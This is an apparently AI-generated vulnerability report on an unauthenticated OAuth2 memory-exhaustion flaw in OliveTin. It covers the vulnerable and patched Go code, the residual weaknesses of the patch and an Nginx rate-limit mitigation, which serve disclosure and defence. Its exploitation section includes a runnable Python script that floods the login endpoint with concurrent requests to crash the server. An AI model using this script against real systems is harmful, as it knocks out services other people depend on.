CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-67437

CVE-2026-67437: Unauthenticated Denial of Service via OAuth2 State Memory Exhaustion in OliveTin

Amit Schendel
Amit Schendel
Senior Security Researcher

Jul 31, 2026·8 min read·36 visits

Executive Summary (TL;DR)

Unauthenticated remote attackers can exhaust OliveTin server memory and crash the application by flooding the OAuth2 login endpoint, forcing unbounded allocation of state variables in memory.

An uncontrolled resource consumption vulnerability (CWE-400) in OliveTin allows unauthenticated remote attackers to exhaust server memory and trigger a denial of service (DoS). By repeatedly initiating the OAuth2 login flow without completing it, attackers can force the server to allocate state variables in an unbounded in-memory map. This heap-based resource exhaustion eventually causes the host operating system to terminate the OliveTin process via the Out-Of-Memory (OOM) killer.

Vulnerability Overview

OliveTin is an open-source application designed to expose predefined shell commands through a web interface, simplifying remote execution tasks. To control access to these command interfaces, the application implements OAuth2 authentication. The vulnerability, designated as CVE-2026-67437, is an unauthenticated memory exhaustion flaw (CWE-400) located within this OAuth2 authentication pathway.

The vulnerability arises from the way OliveTin handles temporary session state variables generated during the OAuth2 login handshake. Because the login initialization endpoint is exposed to the public internet, any remote attacker can interact with this service without presenting credentials. This exposure provides a direct attack vector targeting the memory management routine of the underlying Go application server.

When exploited, this flaw leads to uncontrolled resource consumption, ultimately causing the operating system to terminate the OliveTin process. This technical analysis explores the implementation oversight, the performance characteristics under load, and the remediation strategies necessary to secure the service.

Root Cause Analysis

The vulnerability resides in the Go-based backend within service/internal/auth/otoauth2/restapi_auth_oauth2.go. During a legitimate OAuth2 authorization flow, a client initiates the sequence by making an HTTP request to the /oauth/login endpoint. To mitigate Cross-Site Request Forgery (CSRF) attacks, the application generates a unique cryptographically secure pseudo-random string known as the "state".

The backend must retain this state string in order to compare it with the state returned by the identity provider on the /oauth/callback endpoint. In affected versions of OliveTin, the OAuth2Handler struct manages these generated states using an in-memory Go map named registeredStates. The handler saves metadata inside this map for every unique state string generated.

The structural weakness is the complete lack of eviction logic, maximum entry bounds, or time-to-live (TTL) expiration mechanisms for entries in this map. Neither successful authentication completions, failed match validations, nor idle timeouts trigger the removal of elements from the map. Under typical runtime conditions, map entries persist for the lifetime of the application process.

Because the map dynamically grows with each incoming login initialization, an attacker can continuously request new states. Each request allocates heap memory to store the state metadata, driving up the resident set size (RSS) of the application. Once system memory is depleted, the Linux kernel triggers the Out-Of-Memory (OOM) killer to terminate the OliveTin binary.

Code Analysis

The vulnerable implementation handles state registration inside the HandleOAuthLogin function. When an HTTP request is received, the code generates a state and assigns it directly to the map under a mutex lock.

// VULNERABLE CODE PATH
func (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {
    state, err := randString(16)
    // ... [provider validation logic] ...
 
    h.mu.Lock()
    // Unbounded assignment with no map size checks or TTL fields
    h.registeredStates[state] = &oauth2State{
        providerConfig: provider,
        providerName:   providerName,
        Username:       "",
    }
    h.mu.Unlock()
    // ... [redirect to provider] ...
}

The official fix introduces a bounded map structure, passive cleaning logic, and explicit deletion on validation failures. The patch defines a maximum size limit of 10000 entries and a maximum age threshold of 900 seconds.

// PATCHED CODE PATH
const (
    oauthStateMaxAge     = 900 // Max age in seconds
    oauthStateMaxEntries = 10000 // Upper bound for the map
)
 
func (h *OAuth2Handler) sweepExpiredOAuthStatesLocked(now time.Time) {
    cutoff := now.Add(-oauthStateMaxAge * time.Second)
    for state, entry := range h.registeredStates {
        // Delete entries that exceed the maximum age
        if entry.createdAt.Before(cutoff) {
            delete(h.registeredStates, state)
        }
    }
}
 
func (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {
    state, err := randString(16)
    // ...
    h.mu.Lock()
    // Perform passive sweep of expired keys on every login request
    h.sweepExpiredOAuthStatesLocked(time.Now())
    
    // Enforce upper bound limits
    if len(h.registeredStates) >= oauthStateMaxEntries {
        h.mu.Unlock()
        http.Error(w, "OAuth login temporarily unavailable", http.StatusServiceUnavailable)
        return
    }
    h.registeredStates[state] = &oauth2State{
        providerConfig: provider,
        providerName:   providerName,
        Username:       "",
        createdAt:      time.Now(), // Track creation time for sweeping
    }
    h.mu.Unlock()
}

The patched implementation also adds explicit cleanup routines during the validation phase. If the client returns an invalid state during the callback or if the state is missing entirely, the server actively deletes the generated state using deleteOAuthStateLocked. This reduces unnecessary memory retention during failed authentication attempts.

Exploitation Methodology

Exploitation of CVE-2026-67437 requires no specialized tools or complex conditions. An attacker only needs network routing capability to the web-exposed OliveTin instance. Because the vulnerability exists prior to session validation, authentication tokens are not required.

The attack relies on sending concurrent HTTP GET requests to the /oauth/login endpoint. Each incoming request forces the backend server to invoke the HandleOAuthLogin routine. The server allocates a new 16-character state string, instantiates an oauth2State structure, and inserts both elements into the map.

The following Python script demonstrates how an attacker can automate this process. The script utilizes concurrent threads to flood the target endpoint, multiplying the rate of allocation.

import sys
import requests
import concurrent.futures
 
# Target OliveTin server URL and provider query parameter
TARGET_URL = "http://target-olivetin-instance:8080/oauth/login?provider=google"
REQUESTS_COUNT = 50000  # Number of states to register
CONCURRENCY = 50        # Number of concurrent threads
 
def send_login_request(session, url):
    try:
        # Initiate the flow without following the external redirect
        response = session.get(url, allow_redirects=False, timeout=5)
        return response.status_code
    except Exception as e:
        return None
 
def main():
    print(f\"[*] Commencing unbounded state allocation flood on {TARGET_URL}...\")
    session = requests.Session()
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=CONCURRENCY) as executor:
        futures = [executor.submit(send_login_request, session, TARGET_URL) for _ in range(REQUESTS_COUNT)]
        
        completed = 0
        for future in concurrent.futures.as_completed(futures):
            completed += 1
            if completed % 5000 == 0:
                print(f\"[+] Sent {completed}/{REQUESTS_COUNT} requests...\")
                
    print(\"[*] Flood completed. Monitor the target's memory utilization/process status.\")
 
if __name__ == \"__main__\":
    main()

Executing this script against a vulnerable target causes memory usage to rise continuously. Because the Go garbage collector cannot clean up map keys that are actively referenced in the map structure, the memory remains allocated. This condition persists until the host operating system intervenes and terminates the target process.

Impact Assessment & Patch Limitations

The concrete consequence of this vulnerability is a complete denial of service. Since OliveTin manages critical operational scripts, the abrupt termination of the process prevents administrators from running tools via the web UI. Although the vulnerability does not directly expose files or allow remote code execution, its high availability impact makes it a serious operational risk.

While the official patch introduced in version 3000.17.0 effectively mitigates the heap-exhaustion crash, a detailed analysis reveals residual security considerations. Specifically, an attacker can still cause a logical denial of service by filling the registeredStates map up to its 10,000-entry limit. Because the cleanup sweep is passive and only occurs during a login attempt, an attacker can trigger a temporary "Service Unavailable" (503) state for all legitimate users with relatively low request volume.

Furthermore, the passive cleanup routine, sweepExpiredOAuthStatesLocked, runs an $O(N)$ linear scan over the active states map under a global write lock (h.mu.Lock()). Under a highly concurrent attack, this scan causes severe lock contention. The application spends excessive CPU cycles traversing the map, which degrades overall system performance and slows down responses for legitimate endpoints.

Finally, the Go runtime map memory behavior must be considered. In Go, deleting keys from a map does not release the underlying bucket structures back to the operating system. If an attack causes the map to peak at 10,000 entries, the structural memory overhead of those empty map buckets remains allocated in the Go heap indefinitely, even after the keys are deleted.

Remediation & Mitigation

The primary and recommended resolution is upgrading the OliveTin installation to version 3000.17.0 or later. This version contains the bounded map and state validation cleanup structures. Administrators can retrieve the official release binaries from the project release page.

For deployments where immediate updates are not feasible, network-level mitigations should be put in place. Administrators should deploy a reverse proxy, such as Nginx, HAProxy, or a Web Application Firewall (WAF), to enforce strict rate-limiting rules. This rate-limiting should specifically target the /oauth/login path to prevent rapid map growth.

The following configuration illustrates how to configure Nginx to restrict requests to the OAuth2 login path. It restricts clients to one request per second, which prevents attackers from overwhelming the map allocation or causing high CPU usage during sweeping.

# Limit zones defined in the http block
limit_req_zone $binary_remote_addr zone=oauth_limit:10m rate=1r/s;
 
server {
    listen 80;
    server_name olivetin.local;
 
    # Apply strict limit to the login route
    location /oauth/login {
        limit_req zone=oauth_limit burst=5 nodelay;
        proxy_pass http://127.0.0.1:8080;
    }
 
    # Normal operations for all other routes
    location / {
        proxy_pass http://127.0.0.1:8080;
    }
}

Additionally, access controls should restrict reaching the login interface. Exposing the OliveTin administration panel directly to the internet is not recommended. Putting the panel behind a Virtual Private Network (VPN) or IP-based access control list ensures that only trusted users can reach the authentication endpoints.

Official Patches

OliveTinFix commit implementing bounded OAuth2 state map
OliveTinOliveTin Release 3000.17.0 containing the fix

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.35%
Top 72% most exploited

Affected Systems

OliveTin

Affected Versions Detail

Product
Affected Versions
Fixed Version
OliveTin
OliveTin
>= 3000.0.0, < 3000.17.03000.17.0
AttributeDetail
CWE IDCWE-400
Attack VectorNetwork
CVSS v3.17.5
EPSS Score0.00354
ImpactDenial of Service (DoS)
Exploit StatusPoC (Proof-of-Concept)
KEV StatusNot listed

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
CWE-400
Uncontrolled Resource Consumption

The software does not properly control the allocation and maintenance of a limited resource, enabling an actor to influence the amount of resources consumed, eventually leading to exhaustion of available resources.

Vulnerability Timeline

Security fix commit authored and merged into codebase
2026-07-08
OliveTin 3000.17.0 officially released containing the fix
2026-07-29
GitHub Advisory GHSA-xpxj-f2fm-rqch published
2026-07-29
NVD imports details and assigns CVSS metrics
2026-07-30

References & Sources

  • [1]GHSA-xpxj-f2fm-rqch: OliveTin OAuth2 state memory exhaustion advisory
  • [2]NVD Entry for CVE-2026-67437
  • [3]CVE.org Record for CVE-2026-67437

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•35 minutes ago•GHSA-QX75-2P3R-PWM5
7.7

CVE-2026-55622: Cross-Project Instance Copy Authorization Bypass in Canonical LXD and LXC Incus

CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.

Amit Schendel
Amit Schendel
1 views•11 min read
•about 2 hours ago•GHSA-7MR3-28H5-M5VX
7.7

GHSA-7mr3-28h5-m5vx: Authorization Bypass and Cross-Project Volume Copy in Canonical LXD

An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.

Alon Barad
Alon Barad
3 views•10 min read
•about 3 hours ago•GHSA-47W9-6R3F-938G
9.9

GHSA-47w9-6r3f-938g: Authorization Bypass and Host Root Command Execution in Canonical LXD and Incus

A missing authorization and configuration validation vulnerability in Canonical LXD and LXC Incus allows authenticated users within restricted projects to bypass project security boundaries. By smuggling prohibited low-level configuration directives (such as raw.lxc or raw.qemu) inside instance snapshots or backup archives, an attacker can restore these configurations within a restricted project and execute arbitrary commands with root privileges on the underlying host operating system.

Alon Barad
Alon Barad
4 views•11 min read
•about 4 hours ago•GHSA-JPF8-86F3-WP38
9.9

CVE-2026-48752: Arbitrary Host File Read and Write via Templates Symlink in Canonical LXD and Incus

A symbolic link traversal vulnerability (CWE-59) in Canonical LXD and Linux Containers Incus allows an authenticated user with image import permissions to read and write arbitrary files on the host filesystem. During image archive unpacking, the daemon fails to reject top-level symbolic links for the instance `templates` directory. Subsequent requests to the instance template API endpoints follow this symbolic link outside the instance storage directory with root privileges, enabling complete host compromise.

Amit Schendel
Amit Schendel
4 views•10 min read
•1 day ago•CVE-2026-12411
8.4

CVE-2026-12411: Cross-Guest Volume Hijack via DevLXD Device PATCH in Canonical LXD

CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.

Amit Schendel
Amit Schendel
7 views•10 min read
•1 day ago•CVE-2026-105769
9.3

CVE-2026-105769: Azure Entra ID Token Exfiltration in Kaniko via Unanchored ACR Hostname Regex

CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, GO-2026-6225) is an origin validation error and credential exfiltration vulnerability affecting Kaniko prior to version 1.25.20. The flaw stems from an unanchored regular expression in the integrated Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env). When Kaniko processes a Dockerfile containing an image reference hosted on a lookalike domain containing an ACR suffix as a substring (e.g., x.azurecr.io.attacker.com), the credential helper acquires a Microsoft Entra ID access token for Azure Resource Manager and transmits it via HTTP POST to the attacker-controlled host.

Amit Schendel
Amit Schendel
11 views•11 min read